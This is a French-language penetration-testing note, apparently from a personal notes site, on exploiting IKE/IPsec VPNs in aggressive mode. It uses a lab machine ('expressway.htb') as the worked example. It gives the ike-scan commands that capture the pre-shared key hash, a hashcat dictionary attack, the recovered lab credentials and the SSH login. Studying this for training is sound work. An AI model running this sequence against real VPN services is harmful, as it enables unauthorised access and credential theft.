> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/ike-ipsec-500.md).
# IKE/IPsec - 500
### Exploitation de VPN IKE/IPsec
Le port UDP 500 indique un service d’échange de clés IKE. Tenter de capturer la clé pré-partagée (PSK) en utilisant le mode agressif.
#### Identifier l’ID
Utilisez `ike-scan` pour vérifier si le mode agressif est activé :
```bash
sudo ike-scan -A 10.129.238.52
```
* Résultat : négociation réussie. ID détecté : `ike@expressway.htb`.
#### Capturer et craquer le hachage de la PSK
```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```
Extraire le hachage et tenter une attaque par force brute avec le `rockyou.txt` dictionnaire.
```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```
* Identifiants obtenus : `ike` : `freakingrockstarontheroad`
#### Accès initial
Connexion via SSH avec les identifiants trouvés :
```bash
ssh ike@10.129.238.52
```
---
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